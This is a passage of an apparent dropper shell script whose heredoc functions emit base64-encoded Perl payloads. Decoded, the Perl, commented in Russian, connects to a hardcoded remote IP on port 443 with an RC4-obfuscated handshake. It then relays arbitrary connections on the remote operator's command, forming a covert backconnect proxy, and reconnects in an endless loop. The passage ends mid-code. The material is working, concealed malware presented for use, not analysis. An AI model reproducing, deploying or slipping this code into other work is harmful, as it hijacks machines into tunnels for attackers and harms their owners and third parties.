ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_37() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODYnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
